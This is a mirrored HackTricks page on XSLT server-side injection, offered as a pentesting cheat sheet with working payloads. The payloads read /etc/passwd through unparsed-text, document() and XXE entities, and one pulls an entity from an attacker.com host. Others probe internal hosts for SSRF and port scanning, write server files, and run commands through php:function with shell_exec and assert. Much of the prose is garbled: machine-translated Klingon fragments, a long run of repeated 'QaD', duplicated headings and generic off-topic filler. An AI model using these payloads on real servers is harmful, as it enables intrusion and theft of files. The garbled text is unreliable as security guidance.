Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-21 20:23:18 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
Translator workflow b442ae90c4 Translated to Klingon
2024-02-10 17:52:19 +00:00

32 KiB
Raw Permalink Blame History

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Basic Information

XSLT jatlh XML documents different formats transform vaj. vaj versions: 1, 2, je 3, vaj version 1 commonly utilized. transformation process executed server browser.

frameworks frequently used include:

  • Libxslt Gnome,
  • Xalan Apache,
  • Saxon Saxonica.

exploitation vulnerabilities associated XSLT, xsl tags stored server side, accessing content. illustration vulnerability documented following source: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.

Example - Tutorial

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java

{% code title="xml.xml" %}

<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>

{% code title="xsl.xsl" %}

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

{% endcode %}

Qap:

saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>

QaD

{% code title="detection.xsl" %}

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

{% endcode %}

'ej 'oHbe'

$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD QaD Qa

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>

{% code %}

$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF

SSRF (Server-Side Request Forgery) is a vulnerability that allows an attacker to make requests from the server to other internal or external resources. This can be used to bypass firewalls, access internal services, or perform attacks on other systems.

Exploiting SSRF with XSLT Server-Side Injection

XSLT (Extensible Stylesheet Language Transformations) is a language used to transform XML documents into other formats. In some cases, XSLT can be used to perform SSRF attacks by injecting malicious code into the XSLT stylesheet.

To exploit SSRF using XSLT, follow these steps:

  1. Identify the vulnerable parameter: Look for user-controlled input that is used to specify the XML document or XSLT stylesheet.

  2. Craft a malicious XSLT stylesheet: Create an XSLT stylesheet that includes code to make requests to the desired target. This can be done by using the document() function to fetch external resources.

  3. Inject the malicious XSLT stylesheet: Submit the malicious XSLT stylesheet as the user-controlled input. This will cause the server to process the XSLT and make requests to the specified target.

  4. Analyze the response: Check the response from the server to see if the SSRF attack was successful. Look for any leaked information or unexpected behavior.

Mitigating SSRF

To mitigate SSRF vulnerabilities, consider the following measures:

  • Input validation: Implement strict input validation to prevent user-controlled input from being used to specify external resources.

  • Whitelisting: Maintain a whitelist of allowed resources and only allow requests to those resources.

  • Network segregation: Isolate sensitive internal resources from the server to minimize the impact of SSRF attacks.

  • Firewall rules: Configure firewall rules to restrict outgoing requests from the server to external resources.

By following these steps and implementing the necessary mitigations, you can protect your applications from SSRF attacks.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

Versions

There might be more or less functions depending on the XSLT version used:

Fingerprint

Upload this and take information

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

SSRF

SSRF (Server-Side Request Forgery) is a vulnerability that allows an attacker to make requests from the server to other internal or external resources. This can be used to bypass firewall restrictions, access internal services, or perform attacks on other systems.

How SSRF Works

SSRF occurs when an application allows the attacker to specify the URL for a request made by the server. The attacker can then manipulate this URL to make requests to internal resources that should not be accessible from the outside.

The following are some common scenarios where SSRF can be exploited:

  1. Accessing Internal Services: An attacker can use SSRF to access internal services such as databases, file systems, or administrative interfaces that are not intended to be exposed to the public.

  2. Bypassing Firewall Restrictions: By making requests to internal resources, an attacker can bypass firewall restrictions that are in place to prevent direct access to those resources.

  3. Attacking Other Systems: SSRF can be used to perform attacks on other systems by making requests to external resources that are vulnerable to certain vulnerabilities or misconfigurations.

Exploiting SSRF

To exploit SSRF, an attacker needs to identify a vulnerable parameter that allows them to control the URL used for server-side requests. This parameter can be found in various parts of the application, such as user input fields, HTTP headers, or configuration files.

Once a vulnerable parameter is identified, the attacker can manipulate the URL to make requests to internal or external resources. Some common techniques used to exploit SSRF include:

  • Accessing Internal Services: The attacker can specify the URL of an internal service, such as a database or administrative interface, to gain unauthorized access.

  • Port Scanning: By manipulating the URL to include different ports, the attacker can scan for open ports on internal systems.

  • Local File Inclusion: If the application allows file inclusion, the attacker can specify the URL of a local file to read its contents.

  • Remote Code Execution: In some cases, SSRF can be used to execute arbitrary code on the server by making requests to external resources that contain malicious code.

Mitigating SSRF

To mitigate SSRF vulnerabilities, it is important to follow secure coding practices and implement proper input validation and sanitization. The following are some recommended mitigation techniques:

  • Whitelisting: Validate and sanitize user input to ensure that only allowed URLs can be specified.

  • Use a Proxy: Implement a proxy server that can filter and validate requests made by the server to external resources.

  • Restrict Network Access: Configure firewalls and network access controls to restrict access to internal resources from the server.

  • Least Privilege: Ensure that the server has the least privilege necessary to perform its intended functions, and restrict access to sensitive resources.

By implementing these mitigation techniques, the risk of SSRF vulnerabilities can be significantly reduced. It is also important to regularly update and patch the application and its dependencies to address any known vulnerabilities.

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Javascript Injection

Introduction

Javascript injection is a common technique used by hackers to exploit vulnerabilities in web applications. By injecting malicious Javascript code into a vulnerable website, an attacker can gain unauthorized access, steal sensitive information, or perform other malicious activities.

How does it work?

Javascript injection typically occurs when a web application fails to properly validate and sanitize user input. This allows an attacker to insert their own Javascript code into the application's codebase, which is then executed by the victim's browser.

There are several ways in which Javascript injection can be carried out:

  1. Reflected XSS: In this type of attack, the malicious Javascript code is embedded in a URL or a form input, and is then reflected back to the user's browser. When the victim clicks on the manipulated link or submits the form, the injected code is executed.

  2. Stored XSS: In a stored XSS attack, the malicious code is permanently stored on the target website's server, such as in a database or a comment section. Whenever a user visits the affected page, the code is retrieved and executed by their browser.

  3. DOM-based XSS: This type of attack exploits vulnerabilities in the Document Object Model (DOM) of a web page. By manipulating the DOM elements using Javascript, an attacker can inject and execute malicious code.

Impact of Javascript Injection

Javascript injection can have serious consequences for both the website owner and its users. Some of the potential impacts include:

  • Data theft: Attackers can steal sensitive information, such as login credentials, credit card details, or personal data, by injecting malicious Javascript code.

  • Session hijacking: By injecting code that captures session cookies, attackers can hijack user sessions and impersonate legitimate users.

  • Defacement: Hackers may inject Javascript code to modify the appearance of a website, defacing it or displaying inappropriate content.

  • Malware distribution: Javascript injection can be used to deliver malware to unsuspecting users, infecting their devices and compromising their security.

Prevention and Mitigation

To protect against Javascript injection attacks, web developers should follow secure coding practices, including:

  • Input validation and sanitization: All user input should be properly validated and sanitized before being processed or displayed on a web page.

  • Output encoding: Any user-generated content that is displayed on a web page should be properly encoded to prevent Javascript injection.

  • Content Security Policy (CSP): Implementing a CSP can help mitigate the impact of Javascript injection attacks by specifying which sources of content are allowed to be loaded on a web page.

  • Regular security updates: Keeping web applications and frameworks up to date can help prevent known vulnerabilities that can be exploited for Javascript injection.

  • Security testing: Regular security testing, including penetration testing and code reviews, can help identify and fix vulnerabilities before they can be exploited.

By following these best practices, web developers can significantly reduce the risk of Javascript injection attacks and protect the integrity and security of their web applications.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Directory listing (PHP)

Opendir + readdir

Directory listing (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

QawwI' (var_dump + scandir + false)

var_dump is a debugging function in PHP that displays information about one or more variables. It can be used to inspect the contents and structure of variables during runtime.

scandir is a PHP function that returns an array of files and directories in a specified directory. It can be used to retrieve a list of files and directories within a given path.

The false value is a boolean value in PHP that represents the logical value of false. It is often used to indicate the absence of a condition or the failure of an operation.

When combined, var_dump, scandir, and false can be used in an assert statement to perform various operations. The assert statement evaluates an expression and throws an error if the expression evaluates to false.

Here is an example of how these functions can be used together:

$directory = '/path/to/directory';
$files = scandir($directory);
var_dump($files);
assert($files !== false, 'Failed to retrieve files from directory');

In this example, the scandir function is used to retrieve a list of files in the specified directory. The var_dump function is then used to display the contents of the $files variable. Finally, the assert statement checks if the $files variable is not equal to false and throws an error message if it is.

This combination of functions can be useful for debugging and error handling purposes in PHP applications.

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>

QaD jatlh

QaD - PHP

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>

Qa'chuq - XXE

Introduction

The Extensible Markup Language (XML) is a widely used format for representing structured data. XML allows for the definition of custom tags and data structures, making it highly flexible. However, this flexibility can also introduce security vulnerabilities, such as XML External Entity (XXE) injection.

What is XXE?

XML External Entity (XXE) injection is a vulnerability that allows an attacker to include external entities or files in an XML document. This can lead to various attacks, including server-side request forgery (SSRF), remote code execution (RCE), and sensitive data disclosure.

How does XXE work?

XXE attacks occur when an application parses XML input without properly validating or sanitizing it. The attacker can craft a malicious XML document that includes an external entity reference pointing to a file or a URL they control. When the XML is processed, the external entity is resolved, and its contents are included in the application's response.

Exploiting XXE

To exploit XXE, an attacker needs to identify an XML input point in the target application. This can be a file upload feature, an XML-based API, or any other functionality that accepts XML input. Once the input point is identified, the attacker can inject a malicious XML document containing the external entity reference.

Preventing XXE

To prevent XXE attacks, it is crucial to implement proper input validation and sanitization techniques. Here are some recommended measures:

  • Disable external entity resolution: Configure the XML parser to disable the resolution of external entities.
  • Use whitelisting: Define a whitelist of allowed XML tags and reject any input that contains untrusted tags.
  • Input validation: Validate and sanitize all XML input to ensure it conforms to the expected structure and does not contain malicious content.
  • Use secure XML parsers: Choose XML parsers that have built-in protection against XXE attacks, such as the "XMLReader" class in PHP or the "SAXParser" class in Java.

Conclusion

XML External Entity (XXE) injection is a dangerous vulnerability that can lead to various attacks. By understanding how XXE works and implementing proper security measures, developers can protect their applications from this type of attack.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

HTTP-vaD

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

Qa'chuq (PHP-function)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>

Port scan

Port scan

tlhIngan Hol translation:

Port scan

Port scan

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

QaHbe' ghotpu' vIghaj

XSLT 2.0

XSLT 2.0 allows you to write data to a file using the xsl:result-document element. This element specifies the URI of the file to write to, and the content to be written.

To write to a file, you need to create an XSLT stylesheet that includes the xsl:result-document element. Within this element, you can specify the URI of the file using the href attribute. The content to be written can be specified within the xsl:result-document element itself or within other XSLT elements.

Here is an example of an XSLT stylesheet that writes data to a file:

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:result-document href="output.txt">
      <xsl:text>Hello, world!</xsl:text>
    </xsl:result-document>
  </xsl:template>
</xsl:stylesheet>

In this example, the xsl:result-document element is used to write the text "Hello, world!" to a file named "output.txt".

To execute the XSLT stylesheet and write the data to the file, you can use an XSLT processor such as Saxon or Xalan. The specific method for executing the stylesheet will depend on the XSLT processor you are using.

It is important to note that writing to a file using XSLT 2.0 may have security implications, as it allows an attacker to write arbitrary content to the file system. Therefore, it is recommended to carefully validate and sanitize any user input before using it in an XSLT stylesheet that writes to a file.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Xalan-J jey

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

QaStaHvIS XSL vItlhutlh

If you have the ability to include an external XSL file in the PDF, you can leverage this to write files on the server. XSL (Extensible Stylesheet Language) is a language used to transform XML documents into other formats, such as HTML or PDF.

To exploit this vulnerability, you need to find a way to include an external XSL file in the PDF. This can be done by injecting a malicious XSL file reference into the PDF document.

Here is an example of how this can be achieved:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xsl:stylesheet [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
  %dtd;
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace">
  <xsl:output method="html" version="4.0" encoding="UTF-8" indent="yes"/>
  <xsl:template match="/">
    <html>
      <body>
        <h2>File Contents:</h2>
        <xsl:copy-of select="document(&file;)"/>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

In this example, we are including an external XSL file (malicious.dtd) from the attacker's server. This file contains the entity declaration for %file;, which points to the /etc/passwd file on the server. By referencing this entity in the XSL stylesheet, we can extract the contents of the /etc/passwd file and include it in the generated HTML.

To execute this attack, you need to host the malicious XSL file on a server under your control and inject the reference to it in the PDF document. When the PDF is opened and processed, the XSL transformation will be triggered, and the contents of the specified file will be included in the resulting HTML.

This technique can be used to read sensitive files on the server or even write files to specific locations, depending on the permissions of the process executing the XSL transformation. It is important to note that this attack requires the ability to include external XSL files in the PDF, which may not always be possible depending on the PDF generation process.

<xsl:include href="http://extenal.web/external.xsl"/>

<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

Execute code

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

mughwI'

DaH jImej, RCE examples vItlhutlh RCE examples vItlhutlh 'e' vItlhutlh: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

PHP static functions from classes QaQ

XSL class 'e' static method stringToUrl cha'logh function vItlhutlh:

<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

(Example from http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)

More Payloads

Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!